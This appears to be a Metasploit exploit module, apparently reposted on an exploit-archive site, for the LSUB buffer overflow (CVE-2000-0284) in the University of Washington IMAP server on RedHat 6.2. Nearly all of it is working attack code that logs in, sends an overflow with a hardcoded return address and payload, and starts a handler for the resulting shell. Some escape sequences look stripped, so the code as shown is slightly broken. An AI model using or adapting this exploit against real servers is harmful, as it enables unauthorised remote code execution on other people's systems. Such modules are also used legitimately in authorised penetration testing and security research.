[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : University of Washington imap LSUB Buffer Overflow
# Published : 2000-04-16
# Author : patrick
# Previous Title : Half Life (rcon) Remote Buffer Overflow Exploit
# Next Title : Linux imapd Remote Overflow File Retrieve Exploit


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'UoW IMAP server LSUB Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the 'LSUB'
				command of the University of Washington IMAP service.
				This vulnerability can only be exploited with a valid username
				and password.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2000-0284' ],
					[ 'OSVDB', '12037' ],
					[ 'BID', '1110' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/284' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 964,
					'BadChars' => "x00x0ax0d",
					'StackAdjustment' => -3500,
					'Compat'   => 
						{
							'ConnectionType' => '-reverse',
						},
				},
			'Platform'       => 'linux',	
			'Targets'        => 
				[
					['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
				],
			'DisclosureDate' => 'Apr 16 2000',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner =~ /IMAP4rev1 v12.264/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe

	end

	def exploit
		connect_login

		print_status("Sending overflow string...")
		req = "a002 LSUB "" {1064}rn"
		sock.put(req)
		sleep(2)

		sploit = payload.encoded + rand_text_alphanumeric(64) + [target['Ret']].pack('V') + rand_text_alphanumeric(32) + "rn"

		sock.put(sploit)
		sleep(2)

		handler
		disconnect
	end

end